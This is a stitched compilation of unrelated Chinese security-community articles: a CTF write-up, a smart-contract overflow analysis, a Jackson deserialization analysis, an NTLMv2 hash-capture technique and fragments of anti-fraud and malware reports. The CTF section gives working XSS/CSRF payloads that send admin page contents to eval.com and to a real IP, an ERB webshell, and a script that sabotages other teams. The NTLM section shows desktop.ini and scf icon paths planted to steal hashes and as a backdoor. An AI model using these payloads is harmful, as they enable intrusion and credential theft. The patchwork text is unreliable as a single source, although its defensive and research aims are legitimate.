首先，薅单车毛必不可少的是手机账号，而同一个账号频繁操作，共享单车系统必然也会发起警报，大多数羊毛党会利用多个手机多个账户协同操作，为了方便大家理解，请看下面的网络图谱：
红色点表示不同设备；
绿色点表示不同账号；
蓝色点表示不同共享单车；
红色点和绿色点之间的虚线表示：该设备注册了这个账号；
蓝色点与绿色点之间的虚线表示该账号领取了这个共享单车的某些奖励；
上面的左图是正常用户的行为网络图谱：不同设备的行为是分散的，不一致的，而右边是“公会式羊毛党”的行为网络图谱。
在网络图谱上，羊毛党的设备行为会呈现出高度的一致性和集中性，羊毛党经常通过网络发起组织，在一些单点特征上，同正常用户一样呈现出分散的特点，使得单点防御难以奏效。
但如果将用户行为用网络的形式建模展示，会发现在一些特殊的图形特征上，欺诈行为明显异于正常行为，这样就会判断哪些会是羊毛党，进一步筛选。
**2）用户行为信息**
借助全栈被动式设备指纹系统，在会话和账号两层采集和提取用户行为信息。在会话层面上，将用户的行为模式，如事件发生的次序、发生的间隔时间，归为几类，在此基础上识别出异常行为模式。
在账号的层面上，将会话层面上提取到的行为信息按时间串联起来，得到账户层面的异常行为标示，其次根据账号相关联的历史行为数据，提取出用户的偏好属性，比如是否为僵尸账号，相邻登录的平均地理距离等。最后，我们将这些信息综合起来，形成特有的用于反欺诈的用户画像。
当一个账号再次出现在业务中时，用户画像中的特征就可以帮助我们评估对应业务事件的风险。
在实践中，笔者发现，由“羊毛党”控制的账号，通常具有某些相似性，比如所用手机号码都来自某个号段，用户名都由三个小写字母，五个大写字母和四个数字组成。据此，我们就可以定义账号之间的相似度。这样即使一个账号首次出现，我们也可以使用用户画像，对其风险做一个大致的评估。
共享单车用有趣的方式引导人们将车停到更需要单车的区域，让更多的用户有车骑、骑好车，提高运营效率。笔者在截稿时也发现，周围的红包车比前几天会多一些，看来共享单车也在不停完善规则、算法。作为反欺诈业内从业者，会多多关注共享单车行业，提出更优质的反欺诈解决方案，我们下期再见～ | 社区文章 |
> **描述**
>
> I have built an app sharing platform, welcome to share your favorite apps
> for everyone
>
> hint1:<https://paste.ubuntu.com/p/VfJDq7Vtqf/>
>
> Alpha_test code:<https://paste.ubuntu.com/p/qYxWmZRndR/>
>
> hint2:
>
>
> <%= render template: "home/"+params[:page] %>
>
>
> in root_path
>
> hint3: based ruby 2.5.0
>
> **URL**
>
> [http://share.2018.hctf.io](http://share.2018.hctf.io/)
>
> **基准分数** 1000.00
>
> **当前分数** 965.54
>
> **完成队伍数** 1
* * *
开始做这道题，本来是因为疑似XSS，勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时，终于搞出来了，话说一血还是很开心的。
## 解题
首先分析一波整到题目，按照题目描述，这个网站是用来共享应用的。
首先用户可以向管理员反馈建议，让管理员将某应用加到网站上。
然后管理员页面会有上传应用到网站上，以及将某应用下发给某人进行测试。
主要页面如下：
> 用户：
>
> 应用展示页：<http://share.2018.hctf.io/home/publiclist>
>
> 测试应用页：<http://share.2018.hctf.io/home/Alphatest（管理员未下发应用时为空）>
>
> 反馈建议页：<http://share.2018.hctf.io/home/share>
通过用户反馈页面，可以尝试插入xss。在这里用img进行测试:
<img src=//eval.com:2222>
然后在eval.com进行监听。
nc -lnvp 2222
成功收到回显，可以得知采用PhantomJS作为bot，然后尝试读取后台源码。
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function getsource(src){
var t = new XMLHttpRequest;
t.open("GET", src, !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(e){
send(e.target.responseText);
}
t.send();
}
getsource("/home/publiclist");
通过后台源码可以发现管理员页面。
> 管理员：
>
> 上传应用页：<http://share.2018.hctf.io/home/upload>
>
> 下发应用页：<http://share.2018.hctf.io/home/addtest>
至此，可以猜测完整利用链为如下：
> CSRF上传shell --> CSRF将文件下发到用户端 --> 用户端获得shell链接 --> GET Shell
一开始，按正常逻辑，写出upload的exp， 经本地测试完全可用。然而打过去之后，发现一直报错500。尝试下发的时候，也是500。
真心难受，最后实在受不了问出题人，他说他的payload没问题，可以用的。
最后，在自己和题目的磨磨唧唧中，队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了，竟然忘了渗透的基本要素，逮到网站先扫扫。
拿到upload的源码如下。
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
可以发现此处上传的文件名和文件内容，都会经过base64解码，所以此时需要修改一下。
最终exp如下：
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP");
xhr.withCredentials = "true";
var body = "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"utf8\"\r\n" +
"\r\n" +
"%E2%9C%93\r\n"+
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"authenticity_token\"\r\n" +
"\r\n" +
authenticity_token + "\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"file[context]\"\r\n" +
"\r\n" +
"1\"\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"PD9waHAgcGhwaW5mbygpOyA/Pg==\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"PCU9YGNhdCAvZmxhZ2AlPg==\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP--\r\n"+
"Content-Disposition: form-data; name=\"commit\"\r\n" +
"\r\n" +
"submit\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send(new Blob([aBody]));
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/upload", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();
此时可以成功上传文件，可以在Alphatest页面，查看到当前总文件数。
然后通过CSRF构造下发。
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/Alpha_test", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid=30&fid=42&commit=submit");
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/addtest", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();
依旧一直报500，当时很懵，然后电脑刚好没电，没有继续试下去。也没好意思再问主办方，毕竟之前是自己没看源码。
第二天一早醒来...
吃瓜的我，感觉到一股深深的恶意....
接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。
ruby的环境，出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint
<%= render template: "home/"+params[:page] %>
可以很明了的看出来，需要通过上传模板，然后进行包含。但是查询资料发现如下。
也就是说，上传文件，必须上传到/app/views/home目录下。此时才可以进行包含。
话说之前一直傻在这里了，否则早就出了。先说下正确做法吧。
文件名：../../app/views/home/test.erb
文件内容：<%=`cat /flag`%>
编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后，通过
http://share.2018.hctf.io/home?page=te20181110-328-zexae3
即可成功包含，获取flag。
## 搅屎
做完题目后，在和出题人沟通时，意外得知了一个好玩的。
fid只可以给一次，那么，我可以通过监听，来做到，只要出现新文件，立马给到我的账号。这样别人永远无法获得上传文件。想法很棒，但是现实却很真实，自己第二天写wp才想到要搅屎，此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用，刚写好，跑起来。看见那边二血已经到手。
但最后还是再服务器跑着，以防三血诞生。但是，好像并没有人继续做下去了。
import requests
import re
import time
payload="""
<script>function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//139.199.107.193:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/Alpha_test", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid={{uid}}}&fid={{fid}}&commit=submit");
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/addtest", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();</script>
"""
headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=IDl7oRVicLrzfQVGJ32JMMAL%2FkFQRZIqFGC4Az6xEzV2PW%2FG5JHNkaPTCL8McBALbeLexyWC9ltWt%2FU0XAbxnEihvGIQnvvZagnW%2F1I37tAXwbmKG9XUlOp2tkeXTNfVYIIhhzQGiFbfUFFhf2n%2BGRrcw9eu7Tnyn89bsI4fZCvSYgRrZCJJaZGJ%2BaDH8sFoaB1n1spPkQ7%2BHZoCdFdGN9PLPKWv9It3G5UL--FtVXtYfT0mQLejyc--cPeuwvnr0YSug5Ie0XwZCA%3D%3D"
}
def sendshi(uid,fid):
headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=Zt95n%2BqsePGzFV500lXzBLPBbtLVXQNhqypxEw%2Bw%2BrP9Pko9k%2B9jcXuB15FZ27ahSD18NhwxMn2dU7vT9U4GUy%2FIK1Ph2XxeYXNImY36jCqhjYfAlmzIy7hmBkU4MUxC9Y54%2FYCY9s6NOYACi1ZOeXBUmIlw8f1d6TyKQBmn4pRbQkiSRWRRFezqPS8iKpZ%2Bl4B7ZLnwZPky7NC%2BvUTGk5YjTpMZIAdITA88--WH67dwY%2FiXpMn013--hYBC7B4fWamLvU9%2BxFJCAw%3D%3D"
}
url="http://share.2018.hctf.io/recommend/to_admin"
data={
"utf8":"%E2%9C%93",
"authenticity_token":"sK5IwUnkg2m2dVlQHb3DH4/XRQnHlz2BFWz7fEFSYSFhRjtL3cqWBJLd8+qrKwRzSe+4+nQ/lt8NlACosshm9g==",
"context":payload.replace("{{uid}}",uid).replace("{{fid}}",fid),
"url":"",
"commit":"submit"
}
r = requests.post(url,data=data,headers=headers,timeout=3)
print r.status_code
url="http://share.2018.hctf.io/home/Alphatest"
fid=0
uid=0
while(1):
try:
r=requests.get(url,headers=headers,timeout=3)
pattern = re.compile(r'file number:(\d+) your uid: (\d+)')
result1 = pattern.findall(r.text)
if(fid != result1[0][0]):
fid=result1[0][0]
uid=result1[0][1]
else:
time.sleep(1)
print(result1)
contine
sendshi(result1[0][1],result1[0][0])
time.sleep(1)
except:
time.sleep(1)
## 两个不明白的地方
### Tempfile跨目录 (SOLVED)
自己之前一直在纠结可能有其他点，因为之前自己测试的时候，通过../会导致500错误。可能也是因为那一夜，自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。
测试期间发现。
share = Tempfile.new(name,path)
其中path中，可以用../跨目录，但是name中的斜杠，会被自动删掉，很迷。
然而题目中的可控点又是在name中。
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
share = Tempfile.new(
name.split('.'+ext)[0],
Rails.root.to_s+"/public/upload"
)
所以导致自己把思路放在了这边，没有再次远程尝试。
甚至还动摇了，怀疑page的点没有找到。
最后才发现自己环境不对，两次测试环境，一次是2.3.7，另一次是2.5.3.....
一开始考虑到可能是这个CVE-2018-6914，但是他描述中写的是目录，也就想当然是我以上那个path。
**最后用2.5.0终于复现成功**
一键ruby环境....
sudo docker run -dit --rm ruby:2.5.0
### render template之谜 (SOLVED)
<%= render template: "home/"+params[:page] %>
如果正常理解以上代码，就是限制包含home控制器下的文件。
但是事实上按照出题给的hint1
如下两个链接包含后都很迷。
http://share.2018.hctf.io/home?page=index
http://share.2018.hctf.io/home?page=../layouts/mailer
首先是第一个index.html.erb，可以假设理解为他的代码存在问题，导致500。（包含失败也是500）
接下来的第二个就更迷了，既然限制了home，为什么还能跳去layouts。当时有点纠结这个问题，导致思维有点乱，心态也有所干扰。
**赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用，但是必须在视图文件夹内。**
那么，可以总结一下。
# 可以渲染任意路径文件
render "path"
render file: "path"
# 仅能渲染当前项目下 app/views内的任何内容
render template: "products/show"
## 参考资料
* [Rails 布局和视图渲染](https://ruby-china.github.io/rails-guides/layouts_and_rendering.html)
* [利用csrf漏洞上传文件](https://www.freebuf.com/articles/web/17854.html)
* [ezXSS](https://github.com/ssl/ezXSS)
* [Tempfile](https://ruby-doc.org/stdlib-2.5.0/libdoc/tempfile/rdoc/Tempfile.html)
* [Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)](https://www.seebug.org/vuldb/ssvid-90633)
* [CVE-2018-6914: tempfile 和 tmpdir 库中意外创建文件和目录的缺陷](https://www.ruby-lang.org/zh_cn/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914/) | 社区文章 |
# 代币变泡沫，以太坊Hexagon溢出漏洞比狗庄还过分
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
最近通过对智能合约的审计，发现了一些智能合约相关的安全问题。其中我们发现智能合约Hexagon存在溢出攻击，可产生无数的token，导致整个代币都没有意义。
Token地址：[https://etherscan.io/address/0xB5335e24d0aB29C190AB8C2B459238Da1153cEBA](https://link.jianshu.com/?t=https%3A%2F%2Fetherscan.io%2Faddress%2F0xB5335e24d0aB29C190AB8C2B459238Da1153cEBA)
该代币可能要上交易所，我们已第一时间向官方通知该问题。
目前发现受影响合约地址：
## 成因分析
问题出现在`_transfer`函数当中，当调用`transfer`转币时，会调用`_transfer`函数：
/* Send tokens */
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
`_value`可控，`burnPerTransaction`为常量，当`_value +
burnPerTransaction`溢出时为0，可以导致绕过验证。
/* INTERNAL */
function _transfer(address _from, address _to, uint _value) internal {
/* Prevent transfer to 0x0 address. Use burn() instead */
require (_to != 0x0);
/* Check if the sender has enough */
require (balanceOf[_from] >= _value + burnPerTransaction);
/* Check for overflows */
require (balanceOf[_to] + _value > balanceOf[_to]);
/* Subtract from the sender */
balanceOf[_from] -= _value + burnPerTransaction;
/* Add the same to the recipient */
balanceOf[_to] += _value;
/* Apply transaction fee */
balanceOf[0x0] += burnPerTransaction;
/* Update current supply */
currentSupply -= burnPerTransaction;
/* Notify network */
Burn(_from, burnPerTransaction);
/* Notify network */
Transfer(_from, _to, _value);
}
string public constant name = "Hexagon";
string public constant symbol = "HXG";
uint8 public constant decimals = 4;
uint8 public constant burnPerTransaction = 2;
## 漏洞利用
合约中 `burnPerTransaction` = 2 ，
所以当转账`_value`为`0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe`时，
`_value + burnPerTransaction =0` ，即可成功攻击，为balanceOf[_to]增加大量代币。
require (balanceOf[_from] >= _value + burnPerTransaction);
// require (balanceOf[_from] >= 0);
[....]
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value + burnPerTransaction;
// balanceOf[_from]-=0
balanceOf[_to] += _value;
//balanceOf[_to]+=fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe
可参考下图Transcations，目前生成的代币已销毁：
## 总结
建议使用 SafeMath 来处理计算操作，避免溢出。同时，以太坊智能合约有很多开源合约，使用参考开源合约前，应对代码进行安全审计。
## 关于我们
0KEE
Team隶属于360信息安全部，360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全等多个方向，基本覆盖互联网安全主要领域。 | 社区文章 |
# 【技术分享】jackson反序列化详细分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[PandaIsCoding](http://bobao.360.cn/member/contribute?uid=2929519300)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
这是今年四月份被公开的jackson反序列化漏洞，不过目前看来利用比较鸡肋，本篇只以技术学习的角度来分析这个漏洞，如有问题，还望大牛批评指出。
**漏洞情况**
Jackson是一套开源的java序列化与反序列化工具框架，可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名，而在使用Object、Map、List等对象时，可诱发反序列化漏洞，导致可执行任意命令。
**影响版本**
Jackson 2.7(<2.7.10)
Jackson 2.8(<2.8.9)
**环境**
Jackson-2.8.8.jar
Jdk1.7.0_45(这里分析使用jdk1.7， 不能使用jdk1.8之上的版本，后面会解释说明)。
我们先看下漏洞的poc。
User.java:
Exp.java:
Main.java:
首先jackson会解析要转化json数据中的类，提取出类的变量和相应方法。我们在
BeamnPropertyMap.class->init(Collection<SettableBeanProperty> props)最后
_hashArea = hash处下上断点可以看出User.class的信息。
然后BeanDeserializer.class->vanillaDeserialize()函数，该函数会遍历json数据的key-value，
并将类中key变量设置为value值。
根据构造的json数据，jackson会首先设置User类object的值。
由于object的值是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
Jackson会首先设置TemplatesImpl相关变量。
程序再次进入BeamnPropertyMap.class->init(Collection<SettableBeanProperty>
props)，在_hashArea中我们可以看到TemplatesImpl类的相关信息。
其中有三个是我们通过json传入得参数，其对应的函数分别为
transletBytecodes : private synchronized void com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.setTransletBytecodes(byte[][]),
outputProperties: public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(),
transletName: protected synchronized void com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.setTransletName(java.lang.String),
然后程序进入vanillaDeserialize函数，按照我们构造json数据 的key的顺序开始设置value值。
然后进入deserializeAndSet()函数,先调用setTransletBytecodes()函数设置
transletBytecodes的值。此时value值就是我们的exp数据。
然后调用setTransletName()函数设置transletName的值，此时的value就是我们传入得”p”.
最后一次循环处理key为outputProperties的情况。程序执行了getOutputProperties()方法。弹出计算器。
为什么执行getOutputProperties()函数后就算执行我们的exp呢（这里弹出计算器）,这里其实就是反序列化payload的构造问题了。这里是通过TemplatesImpl类来实现的反序列化利用的。其实就是TemplatesImpl中有个_bytecodes变量，用来存放类的字节的，当我们调用getOutputProperties()函数，就会加载bytecodes中的类，执行了我们的代码。相关内容具体可参考：http://drops.xmd5.com/static/drops/papers-14317.html这篇文章。
新版本的2.8.9就对反序列化所用的一些类进行了过滤:
添加了一个函数判断，来检测是否加载的类为反序列化漏洞常用类，如果是则报错。
现在回到一开始说的jdk的问题，最初测试时我是在jdk1.8.0_45环境下测试的，发现无法弹出计算器。然后又用了jdk1.7才弹出计算器的。
想想应该是jdk1.7到jdk1.8，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类有了变化，才导致反序列化利用失败的。
为了找到原因，我看了下jdk1.7
和jdk1.8中com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
调用getOutputProperties()执行流程有什么变化。
发现在getOutputProperties()调用后，执行defineTransletClasses()时两个版本有所区别。
Jdk1.7:
Jdk1.8:
可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()的处理。我们在jdk1.8的环境下跟踪下程序，发现到这里_tfactory的值为null,所以执行_tfactory.getExternalExtensionsMap()函数时会出错，导致程序异常，不能加载_bytecodes的中的类。
因为我们在构造json数据时，对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl只设置了三个变量。没有设置_tfactory的值，所以这里_tfactory为null。
后来想想只要在构造json数据时，设置_tfactory的值，也许就能在jdk1.8下执行，测试时并没有成功，还是too young, too
simple, sometimes naive。
由上图可知，在jackson初始化com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并没有获取设置_tfactory的相关函数，所以也无法设置_tfactory的值。目前还未想出来如何绕过。
**参考**
<http://bbs.pediy.com/thread-218416.htm>
<http://drops.xmd5.com/static/drops/papers-14317.html> | 社区文章 |
## 0x00 前言
* * *
在文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了在服务器上通过Windows命令行抓包获取连接文件服务器的NTLMv2
Hash的方法，解决了一个有趣的问题：
`如果获得了内网一个文件服务器的权限，如何获得更多用户的口令？`
本文将换一种实现方式，通过修改文件服务器上的图标文件，强制用户访问伪造的文件服务器，在伪造的文件服务器上抓包获取连接文件服务器的NTLMv2 Hash。
## 0x01 简介
* * *
本文将要介绍以下内容：
* 添加scf文件强制用户访问伪造的文件服务器
* 修改文件夹图标强制用户访问伪造的文件服务器
* 文件夹图标后门
* 防御思路
## 0x02 实现思路
* * *
利用SMB协议的特性，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录
在用户访问文件服务器时，如果我们能够欺骗用户访问伪造的文件服务器，并在伪造的文件服务器上抓包，那么就能获得用户本机的NTLMv2 Hash
所以关键是如何欺骗用户访问伪造的文件服务器，同时又保证隐蔽
欺骗用户访问伪造的文件服务器的方法有多种(钓鱼方式暂略)，那么有没有当用户打开文件共享时，自动访问伪造文件服务器的方法呢？当然是有的，接下来主要介绍两种实现方式
## 0x03 添加scf文件强制用户访问伪造的文件服务器
* * *
其他文章对该方法已经有过介绍，参考资料：
<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/>
<https://xianzhi.aliyun.com/forum/topic/1624>
这里简要介绍一下原理
**scf文件：**
SCF文件是"WINDOWS资源管理器命令"文件，是一种可执行文件,该类型文件由Windows Explorer Command解释，标准安装
包含三种类型：
* Explorer.scf(资源管理器)
* Show Desktop.scf(显示桌面)
* View Channels.scf（查看频道）
格式示例：
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
IconFile属性支持UNC路径，也就是说，可以指定文件服务器上的某个文件，例如`IconFile=\\192.168.62.130\test\explorer.exe,3`
特别的地方：
使用Explore.exe打开包含该文件的路径时，由于scf文件包含了IconFile属性，所以Explore.exe会尝试获取文件的图标，如果图标位于文件服务器，就会访问该文件服务器
直观理解：
打开某一文件夹，该文件夹下面包含scf文件，scf文件的IconFile属性指向文件服务器，本机会自动访问该文件服务器，在访问过程中，默认先使用本机的用户名和密码hash尝试登录。如果文件服务器抓取数据包，就能够获得NTLMv2
Hash
### 实际测试：
正常文件服务器IP: 192.168.62.139
伪造文件服务器IP： 192.168.62.130
客户端IP： 192.168.62.135
#### 1、正常文件服务器共享目录下添加文件test.scf，内容如下：
[Shell]
Command=2
IconFile=\\192.168.62.130\test\test.ico
[Taskbar]
Command=ToggleDesktop
**注：**
IconFile指向伪造文件服务器，test.ico不存在
#### 2、在伪造文件服务器上使用wireshark进行抓包
#### 3、客户端访问正常文件服务器
#### 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash
如下图
构造特定格式`username::domain:challenge:HMAC-MD5:blob`，使用Hashcat破解即可
具体破解方法可参考文章：
《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》
《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》
经过实际测试，我们可以看到，利用的关键是要在文件服务器上添加scf文件，等待用户访问
那么，有没有更为隐蔽的方法呢？
## 0x04 修改文件夹图标强制用户访问伪造的文件服务器
* * *
参考scf文件的利用原理，需要找到可以指定IconFile属性的特殊文件
经过寻找，我找到了一个合适的方法： `修改文件夹图标强制用户访问伪造的文件服务器`
### 修改文件夹图标的方法：
选中`文件夹`-`右键`-`属性`-`自定义`-`更改图标`，如下图
更好后，在文件夹子目录生成文件desktop.ini，格式如下：
[.ShellClassInfo]
IconResource=C:\Windows\system32\SHELL32.dll,3
[ViewState]
Mode=
Vid=
FolderType=Generic
尝试将IconResource属性替换为UNC路径，路径为`IconResource=\\192.168.62.130\test\SHELL32.dll,3`
测试成功
### 实际测试：
正常文件服务器IP: 192.168.62.139
伪造文件服务器IP： 192.168.62.130
客户端IP： 192.168.62.135
#### 1、正常文件服务器共享目录的test文件夹下添加文件desktop.ini，内容如下：
[.ShellClassInfo]
IconResource=\\192.168.62.130\test\SHELL32.dll,4
[ViewState]
Mode=
Vid=
FolderType=Generic
**注：**
IconResource指向伪造文件服务器，SHELL32.dll不存在
#### 2、在伪造文件服务器上使用wireshark进行抓包
#### 3、客户端访问正常文件服务器
#### 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash
如下图
通过这种方式，相比于scf文件，隐蔽性更高
## 0x05 文件夹图标后门
* * *
原理同上，更改系统文件夹的配置文件desktop.ini，当用户打开指定文件夹时，将本机当前用户的NTLMv2 Hash发送至伪造文件服务器
默认情况下，系统常见文件夹下包含配置文件desktop.ini，例如文件夹`Program Files`，desktop.ini内容如下：
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781
尝试对其修改，添加如下内容：
IconResource=\\192.168.62.130\test\SHELL32.dll,4
**注：**
需要管理员权限
测试成功
### 实际测试：
客户端IP: 192.168.62.139
伪造文件服务器IP： 192.168.62.130
#### 1、修改客户端文件，路径为C:\Program Files\desktop.ini，添加内容
IconResource=\\192.168.62.130\test\SHELL32.dll,4
**注：**
IconResource指向伪造文件服务器，SHELL32.dll不存在
#### 2、在伪造文件服务器上使用wireshark进行抓包
#### 3、客户端访问文件夹c:\
#### 4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash
如下图
通过这种方式，相比于scf文件，无需添加文件，但需要管理员权限
## 0x06 防御思路
* * *
结合攻击方法，总结防御思路如下：
检查特殊文件.scf和desktop.ini，避免被添加UNC路径
如无特殊需要，建议配置防火墙规则禁止139和445端口
## 0x07 小结
* * *
本文换了一种方式，解决了在获得内网一个文件服务器的权限后，获得更多用户的口令的问题。
通过修改文件服务器上的图标文件，强制用户访问伪造的文件服务器，在伪造的文件服务器上抓包获取连接文件服务器的NTLMv2 Hash。
结合攻击方法，总结防御思路。 | 社区文章 |
# “冠状病毒”引发的移动安全事件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
导读：武汉冠状病毒爆发及蔓延引发人们对全球公共卫生危机的广泛担忧，威胁行为者利用人类的恐惧情感——尤其是当一个全球性事件已经造成了恐惧和恐慌的时候进行网络犯罪。
暗影实验室在日常检测中发现了一个以“Coronavirus”命名的应用。而“Coronavirus”翻译过来就是冠状病毒的意思。威胁行为者通过将应用命名成与武汉冠状病毒相关的名字有利于博取用户的关注从而增加病毒传播感染的机率。
